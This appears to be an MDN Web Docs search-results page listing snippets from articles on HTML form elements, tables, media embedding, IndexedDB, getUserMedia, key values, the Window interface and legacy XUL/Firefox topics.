... <input type="range" name="range" min="0" max="25"/> html5 reset a button that resets the contents of the form to default values. not recommended. <input type="reset" name="reset"/> search a single-line text field for entering search strings. line-breaks are automatically removed from the input value. may include a delete icon in supporting browsers that can be used to clear the field. displays a search icon instead of enter key on some devices with dynamic keypads. <input type="search" name="search"/> html5 submit a button that submits the form. <input type="submit" name="submit"/> tel a control for entering a telephone number. displays a telephone keypad in some devices with dynami...
...And 18 more matches
<textarea> - HTML: Hypertext Markup Language
Web › HTML › Element › textarea
e examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. the above example demonstrates a number of features of <textarea>: an id attribute to allow the <textarea> to be associated with a <label> element for accessibility purposes a name attribute to set the name of the associated data point submitted to the server when the form is submitted. rows and cols attributes to allow you to specify an exact size for the <textarea> to take. setting these is a good idea for consistency, as browser defaults can differ. default content entered between the opening and closing tags. <textarea> does not support the value attribute. the <textarea> element also accepts several attributes common to form <input>s, such as autocomplete, autofocus, disabled...
... opening and closing tags. <textarea> does not support the value attribute. the <textarea> element also accepts several attributes common to form <input>s, such as autocomplete, autofocus, disabled, placeholder, readonly, and required. attributes this element includes the global attributes. autocapitalize this is a non-standard attribute supported by webkit on ios (therefore nearly all browsers running on ios, including safari, firefox, and chrome), which controls whether and how the text value should be automatically capitalized as it is entered/edited by the user. the non-deprecated values are available in ios 5 and later. possible values are: none: completely disables automatic capitalization. sentences: automatically capitalize the first letter of sentences. words: automa...
...isables automatic capitalization. sentences: automatically capitalize the first letter of sentences. words: automatically capitalize the first letter of words. characters: automatically capitalize all characters. on: deprecated since ios 5. off: deprecated since ios 5. autocomplete this attribute indicates whether the value of the control can be automatically completed by the browser. possible values are: off: the user must explicitly enter a value into this field for every use, or the document provides its own auto-completion method; the browser does not automatically complete the entry. on: the browser can automatically complete the value based on values that the user has entered during previous uses. if the autocomplete attribute is not specified on a <textarea...
...And 18 more matches
XUL Structure - Archive of obsolete content
the mozilla rendering engine takes the content in the form of html source and transforms it into a document tree. the tree is then converted into a set of objects that can be displayed on the screen. ...
...the mozilla rendering engine takes the content in the form of html source and transforms it into a document tree. the tree is then converted into a set of objects that can be displayed on the screen. ...
...l, the files receive elevated privileges to access local files, access preferences and bookmarks and perform other privileged operations. obviously, web pages do not get these privileges, unless they are signed with a digital certificate and the user has granted permission to perform these operations. ...
...And 17 more matches
Windows Media in Netscape - Archive of obsolete content
windows media player 6.4 activex control as well as versions 7 through 9. this article explains how to embed the windows media player activex control in web pages to support netscape 7.1, how to control the windows media player activex control using javascript and provides working examples. this article deals uniquely with netscape 7.1 running on the windows operating system. detecting the right browser like internet explorer, netscape 7.1 and later versions can play windows media files using the popular windows media player activex control. this control is widely used to provide inline media support for web pages that provide sound, video and other media. controls such as windows media player also interact closely with the scripts in a web page. netscape 7.1 is the first netscape gecko™ bro...
...es using the popular windows media player activex control. this control is widely used to provide inline media support for web pages that provide sound, video and other media. controls such as windows media player also interact closely with the scripts in a web page. ...
...support the windows media player as an activex control -- previous netscape browsers did not support any activex controls, and thus detecting which versions of netscape support the windows media activex control is an important first step towards building multimedia experiences using html, javascript, and the windows media activex control. the windows media 9 series sdk documentation for netscape browsers says that versions of netscape (including 6.2 and 7.0) support the embedding of the windows media player control using a java applet. while that approach works with browsers older than netscape 7.1, this section introduces the use of the objects that enable deployment of the windows media player directly as an activex control within netscape 7.1. this section presents two mechanisms to detect ...
...And 17 more matches
Anatomy of a video game - Game development
nkfully makes it easy to develop an efficient, execute-once-per-frame main loop. of course, your game will only be as optimized as you make it. if something looks like it should be attached to a more infrequent event then it is often a good idea to break it out of the main loop (but not always). building a main loop in javascript javascript works best with events and callback functions. ...
...ts and callback functions. modern browsers strive to call methods right as they are needed and idle (or do their other tasks) in the gaps. it is an excellent idea to attach your code to the moments that are appropriate for them. think about whether your function really needs to be called on a strict interval of time, every frame, or only after something else happens. being more specific with the browser about when your function needs to be called allows the browser to optimize when it is called. also, it will probably make your job easier. some code needs to be run frame-by-frame so why attach that function to anything other than the browser's redraw schedule? on the web, window.requestanimationframe() will be the foundation of most well-programmed per-frame main loops. a callback function m...
...in loop: window.main = function () { window.requestanimationframe( main ); // whatever your main loop needs to do }; main(); // start the cycle note: in each of the main() methods discussed here, we schedule a new requestanimationframe before performing our loop contents. that is not by accident and it is considered best practice. calling the next requestanimationframe early ensures the browser receives it on time to plan accordingly even if your current frame misses its vsync window. the above chunk of code has two statements. the first statement creates a function as a global variable called main(). this function does some work and also tells the browser to call itself next frame with window.requestanimationframe(). the second statement calls the main() function, defined in the fi...
...And 17 more matches
Responsive images - Learn web development
ics, patterns, interface elements, etc., but it starts to get very complex to create a vector-based image with the kind of detail that you'd find in say, a photo. raster image formats such as jpegs are more suited to the kind of images we see in the above example. ...
...it starts to get very complex to create a vector-based image with the kind of detail that you'd find in say, a photo. raster image formats such as jpegs are more suited to the kind of images we see in the above example. this kind of problem didn't exist when the web first existed, in the early to mid 90s — back then the only devices in existence to browse the web were desktops and laptops, so browser engineers and spec writers didn't even think to implement solutions. responsive image technologies were implemented recently to solve the problems indicated above by letting you offer the browser several image files, either all showing the same thing but containing different numbers of pixels (resolution switching), or different images suitable for different space allocations (art direction). ...
... indicated above by letting you offer the browser several image files, either all showing the same thing but containing different numbers of pixels (resolution switching), or different images suitable for different space allocations (art direction). note: the new features discussed in this article — srcset/sizes/<picture> — are all supported in release versions of modern desktop and mobile browsers (including microsoft's edge browser, although not internet explorer.) how do you create responsive images? in this section, we'll look at the two problems illustrated above and show how to solve them using html's responsive image features. you should note that we will be focusing on the html <img>s for this section, as seen in the content area of the example above — the image in the site...
...And 17 more matches
Video and audio content - Learn web development
r ready-made code for embedding video/audio in your webpages; if you use that route, you can avoid some of the difficulties we discuss in this article. we'll be discussing this kind of service a bit more in the next article. the <video> element the <video> element allows you to embed a video very easily. a really simple example looks like this: <video src="rabbit320.webm" controls> <p>your browser doesn't support html5 video. here is a <a href="rabbit320.webm">link to the video</a> instead.</p> </video> the features of note are: src in the same way as for the <img> element, the src (source) attribute contains a path to the video you want to embed. it works in exactly the same way. controls users must be able to control video and audio playback (it's especially critical for people ...
...video</a> instead.</p> </video> the features of note are: src in the same way as for the <img> element, the src (source) attribute contains a path to the video you want to embed. it works in exactly the same way. ...
...itical for people who have epilepsy.) you must either use the controls attribute to include the browser's own control interface, or build your interface using the appropriate javascript api. at a minimum, the interface must include a way to start and stop the media, and to adjust the volume. the paragraph inside the <video> tags this is called fallback content — this will be displayed if the browser accessing the page doesn't support the <video> element, allowing us to provide a fallback for older browsers. this can be anything you like; in this case, we've provided a direct link to the video file, so the user can at least access it some way regardless of what browser they are using. the embedded video will look something like this: you can try the example live here (see also the sour...
...And 17 more matches
IAccessibleTable
te and if it is not present then iaccessible2.indexinparent() can be used as in the typical case where cells are direct children of the table. the range of valid coordinates for this interface are implementation dependent. however, that range includes at least the intervals from the from the first row or column with the index 0 up to the last (but not including) used row or column as returned by nrows() and ncolumns(). method overview [propget] hresult accessibleat([in] long row, [in] long column, [out] iunknown accessible ); [propget] hresult caption([out] iunknown accessible ); [propget] hresult childindex([in] long rowindex, [in] long columnindex, [out] long cellindex ); [propget] hresult columndescription([in] long column, [out] bstr description ); [propget] hresult columnextent...
...escription ); [propget] hresult columnextentat([in] long row, [in] long column, [out] long ncolumnsspanned ); [propget] hresult columnheader([out] iaccessibletable accessibletable, [out] long startingrowindex ); [propget] hresult columnindex([in] long cellindex, [out] long columnindex ); [propget] hresult iscolumnselected([in] long column, [out] boolean isselected ); [propget] hresult isrowselected([in] long row, [out] boolean isselected ); [propget] hresult isselected([in] long row, [in] long column, [out] boolean isselected ); [propget] hresult modelchange([out] ia2tablemodelchange modelchange ); [propget] hresult ncolumns([out] long columncount ); [propget] hresult nrows([out] long rowcount ); [propget] hresult nselectedchildren([out] long cellcount ); [propget] hresul...
...elected([in] long row, [in] long column, [out] boolean isselected ); [propget] hresult modelchange([out] ia2tablemodelchange modelchange ); [propget] hresult ncolumns([out] long columncount ); [propget] hresult nrows([out] long rowcount ); [propget] hresult nselectedchildren([out] long cellcount ); [propget] hresult nselectedcolumns([out] long columncount ); [propget] hresult nselectedrows([out] long rowcount ); [propget] hresult rowcolumnextentsatindex([in] long index, [out] long row, [out] long column, [out] long rowextents, [out] long columnextents, [out] boolean isselected ); [propget] hresult rowdescription([in] long row, [out] bstr description ); [propget] hresult rowextentat([in] long row, [in] long column, [out] long nrowsspanned ); [propget] hresult rowheader([out]...
...And 17 more matches
nsISessionStore
starting in firefox 3.5, this preference is no longer used. ...
...starting in firefox 3.5, this preference is no longer used. ...
...starting in firefox 3.5, this preference is no longer used. ...
...And 17 more matches
<tr>: The Table Row element - HTML: Hypertext Markup Language
Web › HTML › Element › tr
if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. to provide additional control over how cells fit into (or span across) columns, both <th> and <td> support the colspan attribute, which lets you specify how many columns wide the cell should be, with the default being 1. similarly, you can use the rowspan attribute on cells to indicate they should span more than one table row. this can take a little practice to get right when building your tables. we have some examples below, but for more examples and an in-depth tutorial, see the html tables series in our learn web development area, where you'll learn how to use the table elements and their attributes to get just the right layout and formatti...
...pment area, where you'll learn how to use the table elements and their attributes to get just the right layout and formatting for your tabular data. attributes this element includes the global attributes. there are also several deprecated attributes, which you should avoid but may need to know when reading older code. deprecated attributes the following attributes may still be implemented in browsers but are no longer part of the html specification and may be missing or may not work as expected. they should be avoided. alignobsolete since html5 a domstring which specifies how the cell's context should be aligned horizontally within the cells in the row; this is shorthand for using align on every cell in the row individually. possible values are: left align the content of each cel...
...se the obsolete valign attribute. instead, add the css vertical-align property to the row. examples see <table> for examples on <tr>. basic example this simple example shows a table listing people's names along with various information about membership in a club or service. html this html demonstrates the most basic structure of a table. there are no groups, no cells that span multiple rows or columns, no captions, and only the most basic styling to create lines around the components of the table for something resembling clarity. there are just four rows (including one header row), each with four columns (including one header column). not even the table section elements are used; instead, the browser is allowed to determine this automatically. we'll add <thead>, <tbody>, and <tfoot...
...And 17 more matches
Grids - Archive of obsolete content
Archive › Mozilla › XUL › Tutorial › Grids
« previousnext » xul has a set of elements for creating tabular grids. xul tabular layout xul has a set of elements for doing layout of elements in a grid-like manner using the grid element. it has some similarities to the html table tag. the grid does not display anything itself; it is used only to position elements in a tabular form with rows and columns. a grid contains elements that are aligned in rows just like tables. inside a grid, you declare two things, the columns that are used and the rows that are used. just like html tables, you put content such as labels and buttons inside the rows. however, the grid allows either row or column based organization so you may put content in either rows or in columns. it is most common to use rows, as with a table. however, you ...
...inside that you should add row elements, which are used for each row. ...
...inside that you should add row elements, which are used for each row. inside the row element, you should place the content that you want inside that row. similarly, the columns are declared with the columns element, which should be placed as a child element of the grid. ...
...And 16 more matches
Advanced form styling - Learn web development
hat historically, styling of web form controls was largely taken from the underlying operating system, which is part of the problem with customizing the look of these controls. the appearance property was created as a way to control what os- or system-level styling was applied to web form controls. unfortunately, the behavior of this property's original implementations was very different across browsers, making it not very usable. newer implementations are more consistent in behavior; interestingly enough, both chromium-based browsers (chrome, opera, edge), safari, and firefox all support the -webkit- prefixed version (-webkit-appearance). firefox settled on this because web developers mostly seemed to be using the -webkit- prefixed version, so it was better for compatibility. if you look a...
...type="submit" value="submit"></p> <p><input type="button" value="button"></p> </form> applying the following css to them removes system-level styling. input { -webkit-appearance: none; appearance: none; } note: it is a good idea to always include both declarations — prefixed and unprefixed — when using a prefixed property. prefixed usually means "work in progress", so in the future browser vendors may come to a consensus to drop the prefix. the above code is good for future-proofing against such an eventuality. the following live example shows you what they look like in your system — default on the left, and with the above css applied on the right (find it here also if you want to test it on other systems). in most cases, the effect is to remove the stylized border, which ...
... in most cases, the effect is to remove the stylized border, which makes css styling a bit easier, but isn't really essential. in a couple of cases — search and radio buttons/checkboxes, it becomes way more useful. we'll look at those now. taming search boxes <input type="search"> is basically just a text input, so why is appearance: none; useful here? the answer is that in chromium-based browsers on macos, search boxes have some styling restrictions — you can't adjust their height or font-size freely, for example. this is because non-macos chrome browsers no longer use the webkit rendering engine, which enabled aqua appearance by default for certain form controls. with aqua enabled, some form controls are not scalable. this can be fixed using our friend appearance: none;, which dis...
...And 16 more matches
Writing forward-compatible websites - Developer guides
this is especially important for intranets and other non-public websites; if we can't see your code, we can't see that it broke. it's not always possible to follow all of these, but following as many of them as possible will help future-proof your website. ...
... div. this happens even if there is a var ownerdocument declared in global scope. what this means is that any time you access a global variable in an event handler content attribute, including calling any function declared globally, you can end up with a name collision if a specification adds a new dom property to elements or documents which has the same name as your function or variable, and a browser implements it. if that happens, then suddenly your function stops being called. this has happened multiple times to various sites already during the evolution of html5. to avoid this, fully qualify global variable access using "window.", like so: <script> function localname() { alert('function localname has been called'); } </script> <div onclick="window.localname()">clicking me shoul...
...ers of your favorite libraries that they follow these guidelines too. if they don't, you can't rely on that library not breaking in the future. unfortunately, libraries are common transgressors of these guidelines. sniffing sniff for specific features if you plan to use some feature, use object-detection to sniff for that exact feature, if possible. ...
...And 16 more matches
<input type="datetime-local"> - HTML: Hypertext Markup Language
hat let the user easily enter both a date and a time, including the year, month, and day as well as the time in hours and minutes. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. the control's ui varies in general from browser to browser; at the moment support is patchy, with only chrome/opera and edge on desktop and most modern versions of mobile browsers having usable implementations. in other browsers, these degrade gracefully to simple <input type="text"> controls. the control is intended to simply represent a local date and time, not necessarily the user's local date and time. in other words, an implementation ...
...text"> controls. the control is intended to simply represent a local date and time, not necessarily the user's local date and time. in other words, an implementation should allow any valid combination of year, month, day, hour, and minute - even if such a combination is invalid in the user's local time zone (such as times within a daylight saving time spring-forward transition gap). some mobile browsers (particularly on ios) do not currently implement this correctly. because of the limited browser support for datetime-local, and the variations in how the inputs work, it may currently still be best to use a framework or library to present these, or to use a custom input of your own. another option is to use separate date and time inputs, each of which is more widely supported than datetime-lo...
...larly on ios) do not currently implement this correctly. because of the limited browser support for datetime-local, and the variations in how the inputs work, it may currently still be best to use a framework or library to present these, or to use a custom input of your own. another option is to use separate date and time inputs, each of which is more widely supported than datetime-local. some browsers may resort to a text-only input element that validates that the results are legitimate date/time values before letting them be delivered to the server, as well, but you shouldn't rely on this behavior since you can't easily predict it. for those of you not using a supporting browser, the chrome/opera datetime-local control looks like the below screenshot. clicking the down arrow on the right ...
...And 16 more matches
The building blocks of responsive design - Progressive web apps (PWAs)
in this article we will discuss the main essential components of responsive design, with some links to further information where necessary. for web developers, it is now fairly common to be called upon to create a web site or app that changes its user interface depending on the browser or device accessing the site to provide an optimized experience. one approach to this is to create different versions of your site/app for different platforms or browsers and serve them appropriately after detecting which browser or platform is looking at your site. but this is increasingly inefficient: browser sniffing is inherently error prone, and maintaining multiple copies of your code can turn out to be a nightmare. it is usually much better to create a single version of your code which doesn't...
...this tends to be termed responsive design or adaptive design, two related but different approaches. ...
...platform is looking at your site. but this is increasingly inefficient: browser sniffing is inherently error prone, and maintaining multiple copies of your code can turn out to be a nightmare. it is usually much better to create a single version of your code which doesn't care about what browser or platform is accessing the site, but instead uses feature tests to find out what code features the browser supports or what the values of certain browser features are, and then adjusts the code appropriately. this tends to be termed responsive design or adaptive design, two related but different approaches. this is much more reliable, more maintainable, and more future proof. ...
...And 16 more matches
Chapter 3: Introduction to XUL—How to build a more intuitive UI - Archive of obsolete content
refox developers conference summer 2007. shimoda-san is a co-author of firefox 3 hacks (o'reilly japan, 2008). before you learn how to develop extensions, let's learn about xul, the xml-based user-interface language, which is one of the building blocks for extensions. introduction an overview of xul xul is an xml-based language, and was developed to be the gui markup language for the mozilla browser. there are earlier experiments going back a long way in developing user interfaces using a combination of html and scripting languages, and xul could be considered an evolutionary step from that. similar approaches are found in xaml, which is used in windows vista, and flex, which is used in adobe flash. like web pages, which display the same regardless of platform, applications marked up in xu...
...ll illustrate it with a source code example. you can type these examples up and open them in firefox to see how they behave and appear. you can download a file with all the source code examples from: fixme: attache the translated tarball - paul task !. ...
...pear. you can download a file with all the source code examples from: fixme: attache the translated tarball - paul task !. xul display methods xul is used almost exclusively in mozilla applications like firefox and thunderbird, and extensions for them, but other web browsers based on firefox or the gecko engine, and even web-based content also used xul. for example, there is the mozilla amazon browser, which helps with shopping at amazon, and the presentation method in xul, a tool for writing and displaying presentations to try out the code samples in this chapter, save them as text files with .xul extensions and drag and drop them into the firefox browser window. fixme: explain how setting this option and use next listings if we want to run firefox displaying none of its gui and only the...
...And 15 more matches
Manifest Files - Archive of obsolete content
ient permissions to write into it. note: starting in gecko 2.0, only the file named chrome.manifest is read automatically; if you need to read multiple manifest files, use the manifest command in that file to import additional manifests. use manifest flags to configure the scenarios in which the secondary manifest is imported. if you just want to try testing privileged xul code in the firefox browser, you can do this easily by just using a manifest with only one line in it: create a new directory somewhere. for example, on a windows machine, you might use c:\testfiles create a new ascii1 file called test.manifest in the chrome directory. it doesn't actually matter what the file is called as long as it has the .manifest extension. ( 1. doesn't work with utf-8 with bom.) add the followin...
...cii1 file called test.manifest in the chrome directory. it doesn't actually matter what the file is called as long as it has the .manifest extension. ( 1. doesn't work with utf-8 with bom.) add the following line to it: content tests file:///c:/testfiles/ the file path in that line should point to the directory created above. if you aren't sure what the file path is, open that directory in a browser and copy the url from the address field. that's it! now, all you need to do is add some xul files into that new directory, and you will be able to load them by typing in a chrome url of the form chrome://tests/content/<filename>. of course, you will need to restart the browser for the changes to take effect. if the file doesn't load, make sure that the file path is correct. the basic syntax of ...
...ic syntax of the lines in the manifest file for content packages is: 'content <packagename> <filepath>' the first field 'content' indicates a content package. for themes, 'skin' is used while 'locale' is used for locales. the packagename in the example above is 'tests', which means that the first field in the chrome url is 'tests' as in chrome://tests/content/sample.xul. ...
...And 15 more matches
Client-side storage - Learn web development
this lets you persist data for long-term storage, save sites or documents for offline use, retain user-specific settings for your site, and more. this article explains the very basics of how these work. prerequisites: javascript basics (see first steps, building blocks, javascript objects), the basics of client-side apis objective: to learn how to use client-side storage apis to store application data. ...
...age? elsewhere in the mdn learning area we talked about the difference between static sites and dynamic sites. most major modern web sites are dynamic — they store data on the server using some kind of database (server-side storage), then run server-side code to retrieve needed data, insert it into static page templates, and serve the resulting html to the client to be displayed by the user's browser. client-side storage works on similar principles, but has different uses. it consists of javascript apis that allow you to store data on the client (i.e. on the user's machine) and then retrieve it when needed. this has many distinct uses, such as: personalizing site preferences (e.g. showing a user's choice of custom widgets, color scheme, or font size). persisting previous site activity ...
...pplication), store them inside a client-side database, and play them as needed. the user would only have to download the music files once — on subsequent visits they would be retrieved from the database instead. note: there are limits to the amount of data you can store using client-side storage apis (possibly both per individual api and cumulatively); the exact limit varies depending on the browser and possibly based on user settings. see browser storage limits and eviction criteria for more information. old school: cookies the concept of client-side storage has been around for a long time. since the early days of the web, sites have used cookies to store information to personalize user experience on websites. they're the earliest form of client-side storage commonly used on the web. ...
...And 15 more matches
What is JavaScript? - Learn web development
ogramming that ready-made furniture kits do for home building — it is much easier to take ready-cut panels and screw them together to make a bookshelf than it is to work out the design yourself, go and find the correct wood, cut all the panels to the right size and shape, find the correct-sized screws, and then put them together to make a bookshelf. they generally fall into two categories. browser apis are built into your web browser, and are able to expose data from the surrounding computer environment, or do useful complex things. for example: the dom (document object model) api allows you to manipulate html and css, creating, removing and changing html, dynamically applying new styles to your page, etc. every time you see a popup window appear on a page, or some new content display...
...hnologies —see chrome experiments and webglsamples. audio and video apis like htmlmediaelement and webrtc allow you to do really interesting things with multimedia, such as play audio and video right in a web page, or grab video from your web camera and display it on someone else's computer (try our simple snapshot demo to get the idea). ...
...video apis like htmlmediaelement and webrtc allow you to do really interesting things with multimedia, such as play audio and video right in a web page, or grab video from your web camera and display it on someone else's computer (try our simple snapshot demo to get the idea). note: many of the above demos won't work in an older browser — when experimenting, it's a good idea to use a modern browser like firefox, chrome, edge or opera to run your code in. you will need to consider cross browser testing in more detail when you get closer to delivering production code (i.e. real code that real customers will use). third party apis are not built into the browser by default, and you generally have to grab their code and information from somewhere on the web. for example: the twitter api a...
...And 15 more matches
Handling common accessibility problems - Learn web development
objective: to be able to diagnose common accessibility problems, and use appropriate tools and techniques to fix them. ...
... objective: to be able to diagnose common accessibility problems, and use appropriate tools and techniques to fix them. ...
.../subtitles or other text alternatives for audio/video content. however, it is wrong to say that accessibility is just about disabilities. really, the aim of accessibility is to make your websites/apps usable by as many people in as many contexts as possible, not just those users using high-powered desktop computers. some examples might include: users on mobile devices. users on alternative browsing devices such as tvs, watches, etc. users of older devices that might not have the latest browsers. users of lower spec devices that might have slow processors. in a way, this whole module is about accessibility — cross browser testing makes sure that your sites can be used by as many people as possible. what is accessibility? defines accessibility more completely and thoroughly than this...
...And 15 more matches
Application Translation with Mercurial
rora. next check what is still untranslated by going to localization status page and click on the page for your language. in the section "applications & sign-offs", you will find different products and branches which are currently in translation. gaia-* denotes branches of firefox os, the operating system for mobile devices. firefox and fx-* denote branches of firefox for desktop, the browser for desktops and notebooks running, windows, mac os or linux. fennec and fennec-* denote branches of firefox for mobile, the firefox browser for the android operating system. thunderbird and tb-* denote branches of thunderbird, the mail client, newsgroup and feed reader and chat client. the localization of the lightning calendar add-on also takes place on these branches. seamonkey and ...
... lightning and cal-* denote branches of lightning, the calendar add-on for thunderbird. the localization of lightning now happens on thunderbird's tb-* branches, the cal-* branches have been retired. ...
...ing part follows below as list of missing texts. the first line shows the locale for which the texts are being translated (in this example: de - german). with the second line start the file paths of the files which require changes. the file paths follow the directory structure of the locale repository downloaded for translation. ...
...And 15 more matches
Index - Firefox Developer Tools
add-ons web development, web development:tools developer tools that are not built into firefox, but ship as separate add-ons. 6 dom inspector dom, dom:tools, dom_inspector, extensions, extensions:tools, themes, themes:tools, tools, web development, web development:tools, xul, xul:tools the dom inspector (also known as domi) is a developer tool used to inspect, browse, and edit the document object model of documents - usually web pages or xul windows. the dom hierarchy can be navigated using a two-paned window that allows a variety of different views on the document and all nodes within. 7 dom inspector faq dom_inspector the file menu contains approaches which will allow you to inspect a document. 8 dom inspector internals ...
...ice workers application, devtools, firefox, guide, service workers in this article we will look at debugging service workers using the firefox devtools application panel. 13 inspecting web app manifests application, devtools, firefox, guide, manifest in this article we will look at inspecting app manifests using the firefox devtools application panel. ...
...ication, devtools, firefox, guide, service workers in this article we will look at debugging service workers using the firefox devtools application panel. 13 inspecting web app manifests application, devtools, firefox, guide, manifest in this article we will look at inspecting app manifests using the firefox devtools application panel. ...
...And 15 more matches
Using IndexedDB - Web APIs
because it lets you create web applications with rich query abilities regardless of network availability, your applications can work both online and offline. about this document this tutorial walks you through using the asynchronous api of indexeddb. if you are not familiar with indexeddb, you should first read basic concepts about indexeddb. for the reference documentation on the indexeddb api, see the indexeddb article and its subpages. this article documents the types of objects used by indexeddb, as well as the methods of the asynchronous api (the synchronous api was removed from spec). ...
...on, like adding or retrieving data. wait for the operation to complete by listening to the right kind of dom event. do something with the results (which can be found on the request object). with these big concepts under our belts, we can get to more concrete stuff. creating and structuring the store using an experimental version of indexeddb in case you want to test your code in browsers that still use a prefix, you can use the following code: // in the following line, you should include the prefixes of implementations you want to test. window.indexeddb = window.indexeddb || window.mozindexeddb || window.webkitindexeddb || window.msindexeddb; // don't use "var indexeddb = ..." if you're not in a function. // moreover, you may need references to some window.idb* objects: win...
....webkitindexeddb || window.msindexeddb; // don't use "var indexeddb = ..." if you're not in a function. // moreover, you may need references to some window.idb* objects: window.idbtransaction = window.idbtransaction || window.webkitidbtransaction || window.msidbtransaction || {read_write: "readwrite"}; // this line should only be needed if it is needed to support the object's constants for older browsers window.idbkeyrange = window.idbkeyrange || window.webkitidbkeyrange || window.msidbkeyrange; // (mozilla has never prefixed these objects, so we don't need window.mozidb*) beware that implementations that use a prefix may be buggy, or incomplete, or following an old version of the specification. therefore, it is not recommended to use it in production code. it may be preferable to not support...
...And 15 more matches
Key Values - Web APIs
ilable. learn how to use these key values in javascript using keyboardevent.key special values | modifier keys | whitespace keys | navigation keys | editing keys | ui keys | device keys | ime and composition keys | function keys | phone keys | multimedia keys | audio control keys | tv control keys | media controller keys | speech recognition keys | document keys | application selector keys | browser control keys | numeric keypad keys special values values of key which have special meanings other than identifying a specific key or character. keyboardevent.key value description virtual keycode windows mac linux android "unidentified" the user agent wasn't able to map the event's virtual keycode to a specific key value. this can ha...
...mand or ⌘ key on mac keyboards. vk_lwin (0x5b) vk_rwin (0x5c) kvk_command (0x37) kvk_rightcommand (0x36) gdk_key_meta_l (0xffe7) gdk_key_meta_r (0xffe8) qt::key_meta (0x01000022) keycode_meta_left (117) keycode_meta_right (118) "numlock" the numlock (number lock) key. toggles the numeric keypad between number entry some other mode (often directional arrows). vk_numlock (0x90) gdk_key_num_lock (0xff7f) qt::key_numlock (0x01000025) keycode_num_lock (143) "scrolllock" [2] the scroll lock key. toggles between scrolling and cursor movement modes. vk_scroll (0x91) gdk_key_scroll_lock (0xff14) qt::key_scrolllock (0x01000026) keycode_scroll_lock (116) "shift" the shift key. modifies keystrokes to al...
... tab key, tab. vk_tab (0x09) kvk_tab (0x30) gdk_key_tab (0xff09) gdk_key_kp_tab (0xff89) gdk_key_iso_left_tab (0xfe20) qt::key_tab (0x01000001) keycode_tab (61) " " [1] the space key, space bar. vk_space (0x20) kvk_space (0x31) gdk_key_space (0x20) gdk_key_kp_space (0xff80) qt::key_space (0x20) keycode_space (62) [1] older browsers may return "spacebar" instead of " " for the space bar key. firefox did so until version 37, as did internet explorer 9, 10, and 11. navigation keys keyboardevent.key value description virtual keycode windows mac linux android "arrowdown" [1] the down arrow key. vk_down (0x28) kvk_downarrow (0x7d) gdk_key_down (0xff54) gdk_key_kp_...
...And 15 more matches
MediaDevices.getUserMedia() - Web APIs
syntax var promise = navigator.mediadevices.getusermedia(constraints); parameters constraints a mediastreamconstraints object specifying the types of media to request, along with any requirements for each type. the constraints parameter is a mediastreamconstraints object with two members: video and audio, describing the media types requested. either or both must be specified. if the browser cannot find all media tracks with the specified types that meet the constraints given, then the returned promise is rejected with notfounderror. the following requests both audio and video without any specific requirements: { audio: true, video: true } if true is specified for a media type, the resulting stream is required to have that type of track in it. if one cannot be included for an...
...the call to getusermedia() will result in an error. while information about a user's cameras and microphones are inaccessible for privacy reasons, an application can request the camera and microphone capabilities it needs and wants, using additional constraints. the following expresses a preference for 1280x720 camera resolution: { audio: true, video: { width: 1280, height: 720 } } the browser will try to honour this, but may return other resolutions if an exact match is not available, or the user overrides it. to require a capability, use the keywords min, max, or exact (a.k.a. min == max). the following demands a minimum resolution of 1280x720: { audio: true, video: { width: { min: 1280 }, height: { min: 720 } } } if no camera exists with this resolution or high...
...prompted. the reason for the difference in behaviour is that the keywords min, max, and exact are inherently mandatory. whereas plain values and a keyword called ideal are not. here's a full example: { audio: true, video: { width: { min: 1024, ideal: 1280, max: 1920 }, height: { min: 576, ideal: 720, max: 1080 } } } an ideal value, when used, has gravity, which means that the browser will try to find the setting (and camera, if you have more than one), with the smallest fitness distance from the ideal values given. plain values are inherently ideal, which means that the first of our resolution examples above could have been written like this: { audio: true, video: { width: { ideal: 1280 }, height: { ideal: 720 } } } not all constraints are numbers. for e...
...And 15 more matches
Window - Web APIs
Web › API › Window
ript code. the window interface is home to a variety of functions, namespaces, objects, and constructors which are not necessarily directly associated with the concept of a user interface window. however, the window interface is a suitable place to include these items that need to be globally available. many of these are documented in the javascript reference and the dom reference. in a tabbed browser, each tab is represented by its own window object; the global window seen by javascript code running within a given tab always represents the tab in which the code is running. that said, even in a tabbed browser, some properties and methods still apply to the overall window that contains the tab, such as resizeto() and innerheight. generally, anything that can't reasonably pertain to a tab pert...
... the windoworworkerglobalscope and windoweventhandlers mixins. note that properties which are objects (e.g.,. for overriding the prototype of built-in elements) are listed in a separate section below. window.closed read only this property indicates whether the current window is closed or not. window.console read only returns a reference to the console object which provides access to the browser's debugging console. window.controllers read only returns the xul controller objects for the current chrome window. window.customelements read only returns a reference to the customelementregistry object, which can be used to register new custom elements and get information about previously registered custom elements. window.crypto read only returns the browser crypto object. window...
... which the window is embedded, or null if the window is not embedded. window.frames read only returns an array of the subframes in the current window. window.fullscreen this property indicates whether the window is displayed in full screen or not. window.history read only returns a reference to the history object. window.innerheight read only gets the height of the content area of the browser window including, if rendered, the horizontal scrollbar. window.innerwidth read only gets the width of the content area of the browser window including, if rendered, the vertical scrollbar. window.issecurecontext read only indicates whether a context is capable of using features that require secure contexts. window.length read only returns the number of frames in the window. see also...
...And 15 more matches
<input type="date"> - HTML: Hypertext Markup Language
Web › HTML › Element › input › date
ng value includes the year, month, and day, but not the time. the time and datetime-local input types support time and date+time input. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. ...
...cludes the year, month, and day, but not the time. the time and datetime-local input types support time and date+time input. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. ...
...ar, month, and day, but not the time. the time and datetime-local input types support time and date+time input. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. ...
...And 15 more matches
<video>: The Video Embed element - HTML: Hypertext Markup Language
Web › HTML › Element › video
ithub.com/mdn/interactive-examples and send us a pull request. the above example shows simple usage of the <video> element. in a similar manner to the <img> element, we include a path to the media we want to display inside the src attribute; we can include other attributes to specify information such as video width and height, whether we want it to autoplay and loop, whether we want to show the browser's default video controls, etc. the content inside the opening and closing <video></video> tags is shown as a fallback in browsers that don't support the element. attributes like all other html elements, this element supports the global attributes. autoplay a boolean attribute; if specified, the video automatically begins to play back as soon as it can do so without stopping to finish loa...
